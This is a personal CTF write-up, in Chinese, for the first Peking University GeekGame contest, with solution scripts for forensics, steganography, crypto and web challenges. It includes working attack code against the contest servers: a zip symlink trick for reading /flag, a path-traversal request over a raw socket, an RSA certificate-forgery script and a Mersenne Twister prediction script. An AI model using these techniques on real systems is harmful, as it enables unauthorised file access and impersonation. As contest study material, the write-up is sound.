第一届北京大学信息安全综合能力竞赛个人题解

发表于 分类于 阅读次数： Disqus：

签到

题目内容是一个 pdf 文件，用 Adobe Acrobat 打开，看到其中包含一些特殊符号。

在编辑模式下，查看得到其字体为 Wingdings，这是一个装饰字体，文本内容其实是 ASCII 码。文本范围是超出页面的，resize 之后复制出其内容，给出了两行文字：

1
2
fa{aeAGetTm@ekaev!
lgHv__ra_ieGeGm_1}

这是栅栏密码，得到 flag 为 flag{Have_A_Great_Time@GeekGame_v1!}。

小北问答 Remake

  1. 北京大学燕园校区有理科 1 号楼到理科 X 号楼，但没有理科 (X+1) 号及之后的楼。X 是？

    在 Google Earth 中搜索，存在理科 5 号楼，但没有理科 6 号楼。故答案为 5。

  2. 上一届（第零届）比赛的总注册人数有多少？

    在北京大学新闻网中找到报道北京大学举办首届信息安全综合能力竞赛，得到「本次大赛共有 407 人注册参赛」，故答案为 407。

  3. geekgame.pku.edu.cn 的 HTTPS 证书曾有一次忘记续期了，发生过期的时间是？

    搜索「ssl cert database」，找到网站 crt.sh。在该网站上搜索 geekgame.pku.edu.cn，并根据题目给出的正则表达式寻找过期时间秒数以 3 结尾的证书，得到证书 4362003382。其过期时间为 Jul 11 00:49:53 2021 GMT，将时区换为 UTC+8，得到 2021-07-11T08:49:53+08:00。

  4. 2020 年 DEFCON CTF 资格赛签到题的 flag 是？

    找到 2020 年 DEFCON CTF 资格赛的网站是 OOO DEF CON CTF Quals，打开第一题 welcome-to-dc2020-quals，下载 welcome.txt，获得 flag 为

    OOO{this_is_the_welcome_flag}。

  5. 在大小为 672328094 * 386900246 的方形棋盘上放 3 枚（相同的）皇后且它们互不攻击，有几种方法？

    在 The On-Line Encyclopedia of Integer Sequences 中搜索「3 queens」，没有直接找到的通解，但有一篇相关的文章 Number of ways to place 3 nonattacking queens on an n X n board.。里面给出了通解的表达式：

    任意$m\times n$棋盘上的3皇后问题

    代入数据计算得 2933523260166137923998409309647057493882806525577536。这里直接用 Mathematica 计算了。

  6. 上一届（第零届）比赛的 “小北问答 1202” 题目会把所有选手提交的答案存到 SQLite 数据库的一个表中，这个表名叫？

    在第零届比赛的 GitHub 仓库 geekgame-0th 中查找，在 src/choice/game/db.py 中得到表名叫 submits。

  7. 国际互联网由许多个自治系统（AS）组成。北京大学有一个自己的自治系统，它的编号是？

    在中国 AS 自治系统号码中查找 Peking University，找到编号 AS59201。另一个搜索结果 CNGI-BJ-IX3-AS-AP CERNET2 IX at Peking University, CN 不是正确答案。

  8. 截止到 2021 年 6 月 1 日，完全由北京大学信息科学技术学院下属的中文名称最长的实验室叫？

    在信息科学技术学院 2021 年招生指南中找名字最长的实验室，为「区域光纤通信网与新型光通信系统国家重点实验室」。

共享的机器

这题提到了「未来的机器」，是第零届比赛的题目。通过阅读「未来的机器」的 Writeup，得知需要人脑解释执行代码，反推 flag。猜测这题是类似的。

首先需要了解以太坊智能合约的机制。智能合约创建时需要提供一段 Solidity 程序的字节码，并且此后无法再修改。每次向该智能合约发起交易时，提供的交易信息和交易的发起者将作为程序的输入，程序的运行结果将可以存储到区块链中，也可以通过 revert 提前终止，拒绝交易。程序运行时将可以访问 memory 和 storage。memory 类似 RAM，程序终止后被销毁，而 storage 是区块链上的持久化存储。

原题提供了一个 bitaps 中的链接，可以看到 2021-10-22 和 2021-11-07 两笔关键交易，其中 2021-10-22 的交易是创建此合约。其它有很多失败的交易，都是 2021-11-14 之后的。这时题目已经发布了，因此这些失败的交易应当不是题目的一部分。

除此之外，bitaps 上并没有提供更详细的信息。搜索其它 CTF 竞赛中有关以太坊智能合约的题目 Writeup，发现了 Etherscan 网站，可以通过其 Parity Trace 功能查看交易详情。更令人激动的是，Etherscan 自带 Decompile Bytecode 功能，打开题目中所给的智能合约后，可利用这一功能，查看得到反编译的源码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#
#  Panoramix v4 Oct 2019 
#  Decompiled source of ropsten:0xa43028c702c3B119C749306461582bF647Fd770a
# 
#  Let's make the world open source 
# 

def storage:
  stor0 is addr at storage 0
  stor1 is uint256 at storage 1
  stor2 is uint256 at storage 2
  stor3 is uint256 at storage 3

def _fallback() payable: # default function
  revert

def unknown7fbf5e5a(uint256 _param1, uint256 _param2) payable: 
  require calldata.size - 4 >= 64
  if stor0 != caller:
      if stor0 != tx.origin:
          if stor1 != sha3(caller):
              if stor1 != sha3(tx.origin):
                  revert with 0, 'caller must be owner'
  stor2 = _param1
  stor3 = _param2

def unknownded0677d(uint256 _param1) payable: 
  require calldata.size - 4 >= 32
  idx = 0
  s = 0
  while idx < 64:
      idx = idx + 1
      s = s or (Mask(256, -4 * idx, _param1) >> 4 * idx) + (5 * idx) + (7 * Mask(256, -4 * idx, stor2) >> 4 * idx) % 16 << 4 * idx
      continue 
  if stor3 != 0:
      revert with 0, 'this is not the real flag!'
  return 1

这里得到了两个函数，但调用关系并不明朗。用另一个在线工具 Online Solidity Decompiler 反编译，得到了另一种表示，两者可以互相参照。\footnote {Online Solidity Decompiler 的反编译结果篇幅较长，且可以在线查看，就不贴在文中了。其中重要的部分会在后文给出。}

Online Solidity Decompiler 的结果中存在一些 goto，但跳转的地址仍在函数内部，因此还是可以比较轻松地理清控制流。经过分析，发现第一个函数必须由 owner 发起交易才能正常返回，其作用是修改 storage[2] 和 storage[3]。第二个函数实际上运行了一个 64 次的循环，循环中不断用或运算修改变量 var0，并且用到了 storage[2] 存储的数据。循环后将 var0 的运算结果与 storage[3] 比较，两者不相同则输出 this is not the real flag!。换言之，需要找出一个初始的 var0，使其运算后与 storage[3] 相同。这个 var0 很可能就是我们需要的 flag。

这一部分的 Solidity 代码提取出来是

1
2
3
4
5
6
7
8
9
10
var arg0 = msg.data[0x04:0x24];
var var0 = 0x00;
var var1 = 0x00;

while (var1 < 0x40) {
    var0 = var0 | (((arg0 >> var1 * 0x04) + var1 * 0x05 + (storage[0x02] >> var1 * 0x04) * 0x07 & 0x0f) << var1 * 0x04);
    var1 += 0x01;
}

if (var0 == storage[0x03]) { return 0x01; }

注意到位运算的优先级，最终被左移 var1 * 0x04 位的内容提前经过了 \& 0x0f 运算，换言之，一次循环中 var0 只会至多被改变 4 位，并且每次循环改变的位是互不干扰的。这使得整个运算过程是可逆的。

此外我们还需要知道 storage[2] 和 storage[3] 的值。这可以通过查看 2021-11-07 的交易获得。

查看Internal transaction的信息

这样，就可以把反推 var0 的逻辑用 Python 实现出来了。

1
2
3
4
5
6
7
8
9
10
11
stor2 = 0x15eea4b2551f0c96d02a5d62f84cac8112690d68c47b16814e221b8a37d6c4d3
stor3 = 0x293edea661635aabcd6deba615ab813a7610c1cfb9efb31ccc5224c0e4b37372

res = 0
flag = []
for i in range(0x40):
    target = stor3 >> i * 4 & 0x0f
    for ans in range(0x10):
        if ans + i * 5 + (stor2 >> i * 4) * 7 & 0x0f == target:
            flag.insert(0, ans)
print(''.join([chr(flag[i] * 16 + flag[i + 1]) for i in range(0, len(flag), 2)]))

得到 flag 为 flag{N0_S3cReT_ON_EThEreuM}。

翻车的谜语人

题目提供了一个 pcap 格式的抓包数据。用 Charles 打开，可以看出这是与 Jupyter 交互的流量。

用Charles查看pcap

这里可以直接把 Jupyter Notebook 的内容恢复出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import zwsp_steg
from Crypto.Random import get_random_bytes
import binascii

def genflag():
    return 'flag{%s}' % binascii.hexlify(get_random_bytes(16)).decode()

flag1 = genflag()
flag2 = genflag()
key = get_random_bytes(len(flag1))

def xor_each(k, b):
    assert len(k) == len(b)
    out = []
    for i in range(len(b)):
        out.append(b[i] ^ k[i])
    return bytes(out)

encoded_flag1 = xor_each(key, flag1.encode())
encoded_flag2 = xor_each(key, flag2.encode())

with open('flag1.txt', 'wb') as f:
    f.write(binascii.hexlify(encoded_flag2))

从 Jupyter Notebook 的输出可以知道 key 为

1
b'\x1e\xe0[u\xf2\xf2\x81\x01U_\x9d!yc\x8e\xce[X\r\x04\x94\xbc9\x1d\xd7\xf8\xde\xdcd\xb2Q\xa3\x8a?\x16\xe5\x8a9'

而 encoded_flag1 则是根据 flag1 与 key 的异或运算得到。根据异或运算的性质，将 encoded_flag1 与 key 再进行一次异或就能够还原出 flag1。

接下来搜索 flag1，可以在流量中找到读取 flag1.txt 文件的内容。

用Charles读取flag1.txt

由此可以还原出 flag1：

1
2
3
flag1 = '788c3a1289cbe5383466f9184b07edac6a6b3b37f78e0f7ce79bece502d63091ef5b7087bc44'
flag1 = binascii.unhexlify(flag1)
print(''.join([chr(flag1[i] ^ key[i]) for i in range(len(flag1))]))

对于 flag2，搜索后发现 Jupyter 工作区存在大小为 2935226 字节的 7zip 文件，其内容可以完全 dump 出来。但是这个压缩文件有密码，必须继续挖掘。这时 Charles 给出的 HTTP 流量数据已经提取不到更多有用的信息，转而使用 Wireshark。果不其然，在 Wireshark 中发现了 Jupyter Notebook 的 WebSocket 协议数据帧。

Wireshark发现命令行操作

这些 WebSocket 数据帧完整地记录了命令行操作。可以看到 You ちゃん先是用 pip 安装了 stego-lsb，然后将 flag2.txt 隐写进了 ki-ringtrain.wav，最后把 wav 用 7za 压缩。压缩时设置了密码，其命令行参数为

1
-p"Wakarimasu! `date` `uname -nom` `nproc`"

7za 的输出里显示了 CPU 型号为 i7-10510U，这是一个 4C8T 的 U，故 nproc 输出为 8。\footnote {如果关了超线程应该就是 4？}uname -o 显然为 GNU/Linux，uname -m 则为 x86_64。uname -n 为主机名，通过命令提示符的回显得到 you-kali-vm。

命令提示符中的you-kali-vm

至于 date 的输出需要一定的猜测，因为主机的时区和语言还没确定。并且 date 本身也有几种风格的输出，例如

1
2
Sat Nov 06 07:44:16 CST 2021
Sat 06 Nov 2021 07:44:16 AM GMT

执行命令的时间相对第一个数据帧的偏移是，推测出时间大约是 2021 年 11 月 6 日 15:44:16。当然，这是存在误差的，实际试密码时把都试了。比较幸运，正确的密码手工试出来了，不然需要写脚本遍历不同的时区和语言：

1
Wakarimasu! Sat 06 Nov 2021 03:44:15 PM CST you-kali-vm x86_64 GNU/Linux 8

解压得到 wav 文件，再用 stegolsb 提取出隐写的信息，正是 encoded_flag2。

1
2
pip3 install stego-lsb
stegolsb wavsteg -r -i flag2.wav -o flag2.txt --bytes 76 -n 1

使用前文类似的方法，恢复出 flag2 即可。

叶子的新歌

首先用 ffprobe 查看 mp3 文件的元信息，得到两个关键的提示：

1
2
album           : Secret in Album Cover!!
TRACKTOTAL      : aHR0cDovL2xhYi5tYXh4c29mdC5uZXQvY3RmL2xlZ2FjeS50Ynoy

这是两个分支，后文分别叙述。

夢は時空を越えて

用 binwalk 看到 Album Cover 是 png 图片，提取之。

Album Cover

这个图片看上去非常正常。首先猜测是图片大小存在问题，于是对 PNG 头进行 CRC32 校验，无异常。进而怀疑使用了隐写技术，上 StegSolve。使用 LSB，提取 RGB 三个通道的最低位，二进制解码后三个大字「PNG」映入眼帘。说明思路正确，提取出一张图片。

LSB隐写的二维码

这是一个二维码，但并不是常见的 QR 码。扔到 Google 图片中搜索，发现其名为 Aztec 码。手机下载扫码软件 Scandit，得到内容 Gur frperg va uvfgbtenz.。看上去是凯撒密码，随手找了一个在线工具，解码得到 The secret in histogram.。

这个 Aztec 码的灰度分布看上去就不太对劲，不过 Photoshop 的直方图不太能放大，于是用 Python 脚本输出直方图。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from PIL import Image
import numpy as np

im = Image.open('aztec.png')

cluster = np.zeros(shape=(256))
for i in range(1000):
    for j in range(1000):
        cluster[im.getpixel((i, j))] += 1

img = Image.new(mode='RGB', size=(256 + 40, 50 + 10), color=(255, 255, 255))
pixels = img.load()
for i in range(len(cluster)):
    if cluster[i] > 0:
        for j in range(50):
            pixels[i + 20, j + 5] = (0, 0, 0)

img.save('histogram.png')

直方图如下图所示。

二维码图片的直方图

这个直方图怎么看也是一个条形码，继续扫码得到 xmcp.ltd/KCwBa。访问后得到一大串 Ook。这是一个 Brainfuck 的方言，在 Ook! Programming Language - Esoteric Code Decoder, Encoder, Translator 执行后得到 flag 为

flag{y0u_h4ve_f0rgott3n_7oo_much}。

StegSolve 的 UI 在 macOS 上会有问题，可以用其他程序替代，例如 zsteg 或 StegOnline。

夢と現の境界

另一个分支，aHR0cDovL2xhYi5tYXh4c29mdC5uZXQvY3RmL2xlZ2FjeS50YnoyBase64 解码得到 http://lab.maxxsoft.net/ctf/legacy.tbz2。下载解压得到 To_the_past.img。macOS 上直接挂载磁盘镜像，得到 MEMORY.ZIP 和 NOTE.TXT。NOTE.TXT 中提示密码是：宾驭令诠怀驭榕喆艺艺宾庚艺怀喆晾令喆晾怀。搜索后得知这是人民币冠号密码，解码得到 72364209117514983984。用该密码解压 MEMORY.ZIP，获得新的提示和两个二进制文件，left.bin 和 right.bin。先用 binwalk，没有扫到有用的信息。提示中有「红白机」「找不同滴神」，故使用 vbindiff 比较，发现确实可以找不同，但应该用最长公共子串比较，而不是按位比较。这里偷懒了，写了一个比较简单的脚本，稍微处理了一下 edge case，不过对于某些极端输入会有 bug。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
with open('left.bin', 'rb') as f:
    lbuf = f.read()

with open('right.bin', 'rb') as f:
    rbuf = f.read()

lpointer = 0
rpointer = 0
common = []
lonly = []
ronly = []
allonly = []

while lpointer < len(lbuf) and rpointer < len(rbuf):
    if lbuf[lpointer] == rbuf[rpointer]:
        common.append(lbuf[lpointer])
    elif lbuf[lpointer + 1] == rbuf[rpointer] and lbuf[lpointer + 2] == rbuf[rpointer + 1]:
        common.append(rbuf[rpointer])
        lonly.append(lbuf[lpointer])
        allonly.append(lbuf[lpointer])
        lpointer += 1
    elif lbuf[lpointer] == rbuf[rpointer + 1] and lbuf[lpointer + 1] == rbuf[rpointer + 2]:
        common.append(lbuf[lpointer])
        ronly.append(rbuf[rpointer])
        allonly.append(rbuf[rpointer])
        rpointer += 1
    else:
        print(lpointer, rpointer)
        print(lbuf[lpointer - 1:lpointer + 2], rbuf[rpointer - 1:rpointer + 2])
        raise ValueError
    lpointer += 1
    rpointer += 1

脚本处理本题中的数据后，给出了找不同的结果，包括只存在于 left.bin 的数据，只存在于 right.bin 的数据和共有的数据。继续 binwalk，还是没有找到有用的结果。这里试了半天，最后发现两个 diff 文件的开头，一个是 N，一个是 ES。联想到提示中的「红白机」，按 diff 的顺序把左右合起来正好是一个合法的 NES 文件 \footnote {仍然是由于脚本的小 bug，最后一个不同的字节没有被记录，因此最后追加了一个 FF。}。

1
2
3
4
with open('game.nes', 'wb') as f:
    for c in allonly:
        f.write(c.to_bytes(1, 'big'))
    f.write(b'\xFF')

之后在 awesome-emulators 中找了一个 NES 模拟器 Nestopia，能够正常打开游戏，发现是修改的超级马里奥。下一步找 flag 又没有方向了，因为 flag 可能藏在任何地方，例如游戏的地图甚至彩蛋中。不确定是不是错过了什么关键信息，这里只能继续猜，靠玩《超级马里奥制造》的功底 \footnote {以及 SL 大法。} 速通之后得到了一个网页链接

1
lab.maxxsoft.net/ctf/leafs/

然后就卡关了。\footnote {NINTENDO RULES THE FUCKING WORLD!}

直接 mount img 读到的是 FAT12 分区的内容。如果先用 file（而不是 binwalk）查看可以知道是有 MBR 引导的，用 qemu 就能启动。提示其实说得很清楚了，没做出来属于是重大失误。

在线解压网站

这题比较简单，用户上传 zip 文件后服务器解压，并允许读取解压后的文件。由于已经知道 flag 在磁盘根目录下，因此直接用软链接攻击就行。

1
2
3
touch /flag
ln -s /flag flag
zip flag.zip flag --symlinks

参数 --symlinks 用于让 zip 保留软链接，而不是把软链接目标打包进去。上传 flag.zip 就可以直接读 flag 了，结果是 flag{NeV3R_trUSt_Any_C0mpresSed_file}。

Flag 即服务

打开 JSON-as-a-Service 的网站，按照介绍试用功能：

https://prob11-xxxxxxxx.geekgame.pku.edu.cn/api/demo.json

尝试以下网址

https://prob11-xxxxxxxx.geekgame.pku.edu.cn/api/

服务器报错

1
2
3
4
5
6
7
8
9
10
11
Error: EISDIR: illegal operation on a directory, read
    at Object.readSync (fs.js:617:3)
    at tryReadSync (fs.js:382:20)
    at Object.readFileSync (fs.js:419:19)
    at /usr/src/app/node_modules/jsonaas-backend/index.js:56:19
    at Layer.handle [as handle_request] (/usr/src/app/node_modules/express/lib/router/layer.js:95:5)
    at next (/usr/src/app/node_modules/express/lib/router/route.js:137:13)
    at Route.dispatch (/usr/src/app/node_modules/express/lib/router/route.js:112:3)
    at Layer.handle [as handle_request] (/usr/src/app/node_modules/express/lib/router/layer.js:95:5)
    at /usr/src/app/node_modules/express/lib/router/index.js:281:22
    at param (/usr/src/app/node_modules/express/lib/router/index.js:354:14)

可见服务器会根据 /api/ 后的路径拼接文件路径进行读取，尝试 LFI 攻击

https://prob11-xxxxxxxx.geekgame.pku.edu.cn/api/../package.json

这里最开始拿的浏览器测试，发现 URL 被 resolve 成了

https://prob11-xxxxxxxx.geekgame.pku.edu.cn/package.json

随后用 Python 的 requests 试了一下，也没能解决这个问题。根据提示中的 RFC 3986，用 socket 库手写 HTTP 头，终于绕过了

1
2
3
4
5
6
7
8
9
10
11
import socket

s = socket.socket(
    socket.AF_INET, socket.SOCK_STREAM)

s.connect(("prob11-xxxxxxxx.geekgame.pku.edu.cn", 80))

s.send(
    b'GET /api/../package.json HTTP/1.1\r\nHost: prob11-xxxxxxxx.geekgame.pku.edu.cn\r\n\r\n')
response = s.recv(4096)
print(response)

拿到 package.json 后，读出依赖包地址为

1
https://geekgame.pku.edu.cn/static/super-secret-jsonaas-backend-1.0.1.tgz

下载后阅读源码，可知 flag1 为 flag{0.30000000000000004}。

这里用 curl --path-as-is 也可以。

诡异的网关

这题也比较简单。打开程序后探索程序的 UI，发现存了一个用户名为 flag 的账号的密码。密码不让查看和复制，大概率是和我们要的 flag 相关的。于是直接开 Cheat Engine，搜索 flag{，秒得 solution。

Cheat Engine查内存

印象中上一次使用 Cheat Engine 还是高中时修改某网盘的会员试用时间，没想到会在这题中用上。当然，如果题目把 flag 做一个简单的变换，这个方法就不奏效了，会增加很大的工作量。

最强大脑

先用 strings，发现程序中有字符串 flag1。然后上 ida，可惜用得不太熟练，没能逆向出有用的信息。这题最后是靠提示给的源代码做出来的。拿到源码之后发现 flag 放在了数据段的最后，因此写个循环遍历数据段，输出读到的字符即可。Brainfuck 的循环会检测当前指针指向的数据是否为 0，数据段初始化时会全部置 0，所以需要用一下 + 操作符。Brainfuck 代码如下

1
+[>.+]

用 Python 计算对应的 hex

1
print(b'+[>.+]'.hex())

得到 2b5b3e2e2b5d，运行得到 flag{N0_tRainIng_@_@ll}。

这大概也是一个熟练度的问题，能 dump 内存就先 dump 内存，能 LFI 就直接对 /proc 下手。

密码学实践

这题中有三个对象：God，Richard 和 Alice。Alice 只是占了个坑，我们的终极目标是和 God 对话，获取伪造的证书来冒充 Alice。程序中的 God 会先为 Alice 和 Richard 颁发证书。签名证书需要提供 name 和 key，程序会先打包出下面这一串内容

1
[...name...][..][..][......key......][..][..]

name 和 key 之后分别用两个字节标记其长度，然后组合在一起。将这个字节串转为整数后，用模幂运算计算得到证书。并且，God 不会为 name 相同的人颁发第二个证书。

首先看 flag1。在程序中和 Richard 对话，会直接给出加密后的 flag1。这里的加密过程还没有涉及 RSA，而是用了一个看上去比较复杂的循环。阅读 MESenc 函数的代码，可知加密是先将明文按每 32 个字节分为一组，然后每组单独加密再拼接。32 个字节又分成 4 个 8 字节，分别记做。此外还需要一个 256 字节的 keys，为方便表述，将其视作 32 个 8 字节的。

那么，加密流程就是执行如下操作

其中是异或运算。考虑到异或运算所具有的良好性质，不妨将每次循环后的结果向后推演一些。

这些之间的异或运算结果都可以视为常数，因为它们与明文的选取无关。可以看到，每六次循环操作后，原来的位置复原了，只是各自异或了一个常数。\footnote {说实话，这题把《密码学基础》换成《群论》也没有什么问题。} 考虑到

那么一圈循环下来的结果就是

这里的 4 个可以由 32 个计算得到，不过从破解密码的角度来说，我们只要知道对每次加密都是相同的常数就行。

于是，MESenc 其实等价于如下函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def MESenc(mess: bytes, const1: bytes, const2: bytes, const3: bytes, const4: bytes):
    assert len(mess) % 32 == 0
    cip = b""
    for it in range(0, len(mess), 32):
        pmess = mess[it:it+32]
        a = bytes_to_long(pmess[0:8])
        b = bytes_to_long(pmess[8:16])
        c = bytes_to_long(pmess[16:24])
        d = bytes_to_long(pmess[24:32])

        _a = long_to_bytes(c ^ const1, 8)
        _b = long_to_bytes(d ^ const2, 8)
        _c = long_to_bytes(a ^ c ^ const3, 8)
        _d = long_to_bytes(b ^ d ^ const4, 8)
        cip += _a + _b + _c + _d
    return cip

阅读程序源码，我们会知道 Richard 说的第二句话的明文是 Sorry, I forget to verify your identity. Please give me your certificate. 我们同样也能直接获得这句话的密文。\footnote {同时获得明文和对应的密文显然是一个令人不安的信号，就如盟军破译 Enigma 时所做的那样。} 那么，4 个就可以直接计算出来，然后再用它解密 Richard 的第一句话，即可得到 flag1。

根据明文和密文反推的逻辑如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def MEScrack(mess: bytes, cip: bytes):
    assert len(mess) == len(cip)
    assert len(mess) % 32 == 0
    pmess = mess[:32]
    pcip = cip[:32]

    a = bytes_to_long(pmess[0:8])
    b = bytes_to_long(pmess[8:16])
    c = bytes_to_long(pmess[16:24])
    d = bytes_to_long(pmess[24:32])

    _a = bytes_to_long(pcip[0:8])
    _b = bytes_to_long(pcip[8:16])
    _c = bytes_to_long(pcip[16:24])
    _d = bytes_to_long(pcip[24:32])

    const1 = _a ^ c
    const2 = _b ^ d
    const3 = a ^ c ^ _c
    const4 = b ^ d ^ _d

    return const1, const2, const3, const4

算出后，就可以完全抛弃，直接解密信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def MESdecode(cip: bytes, const1: bytes, const2: bytes, const3: bytes, const4: bytes):
    assert len(cip) % 32 == 0
    mess = b""
    for it in range(0, len(cip), 32):
        pmess = cip[it:it+32]
        _a = bytes_to_long(pmess[0:8])
        _b = bytes_to_long(pmess[8:16])
        _c = bytes_to_long(pmess[16:24])
        _d = bytes_to_long(pmess[24:32])

        c = _a ^ const1
        d = _b ^ const2
        a = _c ^ c ^ const3
        b = _d ^ d ^ const4

        a = long_to_bytes(a, 8)
        b = long_to_bytes(b, 8)
        c = long_to_bytes(c, 8)
        d = long_to_bytes(d, 8)
        mess += a + b + c + d
    return mess

获得 flag2 就需要来研究 RSA 了。和 Richard 对话时，我们需要提供一个证书，如果 Richard 解密出这个证书所打包的 name 是 Alice，就会发送 flag2。由于 God 已经为 Alice 颁发过证书了，我们没法直接冒充 Alice 获得证书，所以目标就是用一个和 Alice 不同但精心构造的 name，以及 key，使得这个 name 和 key 经过打包、模幂、解密后，算出来的 name 等于 Alice。

考虑 RSA 的加密解密过程。

e 和 N 是 God 会告诉我们的公钥，d 是私钥。程序是用 pycryptodome 生成的 2048 位 RSA 密钥，流程非常正经，可以认为暴力的攻击方式是不可能的。\footnote {During his own Google interview, Jeff Dean was asked the implications if P=NP were true. He said, ``P = 0 or N = 1". Then, before the interviewer had even finished laughing, Jeff examined Google's public certificate and wrote the private key on the whiteboard.}

但这个加密过程存在一个漏洞，那就是没有将明文 m 分块。这使得 m 到 c 的映射是多对一的。显然，任何都满足

于是，我们的目标是寻找，以及，s.t.

  1. 形如 [Alice][00][05][......key......][..][..]，是一个合法的 pack
  2. 转为整数后小于 N
  3. 转为字节串后，也是一个合法的 pack

为了逆推方便，这个合法的 pack 可以尽量简单，例如它对应的 key 长度为 0。第二条约束则可以用搜索实现。最后对应的 key 做减法得到，并且要考虑进位问题。完整代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def fulldecode(n):
    for i in range(1024):
        keyx = n * i
        if 0x10000 - (keyx & 0xffff) < 256:
            factor = i
            break
    keyx = n * factor
    lastmask = 0x10000 - (keyx & 0xffff)
    firstmask = int.from_bytes(b'Alice\x00\x05', 'big') << (lastmask + 2) * 8
    bitlength = (keyx.bit_length() + 7) // 8 - 4
    centermask = (0x10000 + bitlength - ((keyx >> 16 & 0xffff) + 1)) << 16
    result = keyx + firstmask + centermask + lastmask
    sinfo = result.to_bytes((result.bit_length()+7)//8, 'big')
    akey = unpackmess(sinfo)
    pinfo = sinfo[:len(sinfo)-len(akey)-2]
    aname = unpackmess(pinfo)
    return aname.hex()

到这里所有问题都变成已解决的问题了。源程序里 Richard 还用了 6 行代码重新生成 key，但这一部分不需要专门考虑，因为实际上并没有什么区别，反推的流程都是一样的。

看其他选手的 Writeup 发现这里搞复杂了。最简单的方法就是利用同态加密的特性攻击，找 God 分别获得 b'\x00\x00Alice\x00\x05' 和 b'\x00\x00\x01\x00\x00' 的证书，然后乘起来，就可以糊弄 Richard 了。

扫雷

这题要求通关一个在线扫雷游戏获得 flag，唯一的问题是地雷数量占总地图格子数的期望值是 50%。生成地雷用的是 random.getrandbits，这是一个典型的伪随机数生成器，因此可以设法攻击。找到了轮子 randcrack，该程序要求输入连续生成的 624 个 32 位随机数，这部分信息将使得 cracker 的状态与原程序的随机数生成器同步，于是就可以完全预测出接下来的随机数生成结果。

阅读扫雷程序的源码 sweeper.py，棋盘的大小是，每次将生成一个 256 位整数，以行优先的顺序把每一位填到棋盘上，1 代表地雷。考虑到，因此故意输掉 78 盘，就可以根据程序打印的棋盘，获得足够的负熵，支持接下来的预测。

确定这个大的思路后，其它的都是细节问题，例如按正确的顺序将 256 位整数拆成 8 个 32 位整数喂给 randcrack，以及正确计算涉及到的位运算的位数。这题操作比较多，因此用 pwntools 交互。代码如下所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from randcrack import RandCrack
from pwn import *

WIDTH = 16
HEIGHT = 16
token = 'TOKEN'

rc = RandCrack()

def letItBoom(conn):
    conn.recv()
    index = 0
    conn.send(f'0 0\n')
    line = conn.recvline()
    while line != b'> BOOM!\n':
        index += 1
        conn.send(f'{index // 16} {index % 16}\n')
        line = conn.recvline()
        print('line2', line)
    rows = []
    for i in range(HEIGHT):
        rows.append(conn.recvline(keepends=False))
    print(rows)
    bits = []
    for row in rows:
        tmp = 0
        for i in range(WIDTH):
            tmp |= (1 if row[i] == ord('*') else 0) << i
        bits.append(tmp)
    int32s = []
    for i in range(0, HEIGHT, 2):
        tmp = (bits[i + 1] << 16) | bits[i]
        rc.submit(tmp)
        print(tmp)
        int32s.append(tmp)
    print(int32s)
    conn.recvline()
    conn.recv()

conn = remote('prob09.geekgame.pku.edu.cn', 10009)
if conn.recv() == b'token: ':
    conn.send(token + '\n')
    if conn.recv() == b'Welcome to the minesweeper game!\neasy mode? (y/n)':
        conn.send(b'n\n')
for i in range(78):
    print('NEW GAME')
    letItBoom(conn)
    conn.send(b'y\n')

predict = rc.predict_getrandbits(256)
print('predict:', predict)

def gen_board(bits):
    board = [[None] * WIDTH for _ in range(HEIGHT)]
    for i in range(HEIGHT):
        for j in range(WIDTH):
            x = (bits >> (i * WIDTH + j)) & 1
            board[i][j] = x
    return board

conn.recv()
board = gen_board(predict)
for i in range(HEIGHT):
    for j in range(WIDTH):
        if board[i][j] == 0:
            conn.send(f'{i} {j}\n')

print(conn.recv())

致谢

感谢赛事组委会的辛勤付出。感谢本文中所提到的所有开源软件的作者，帮助我在解题过程中节省了大量的时间。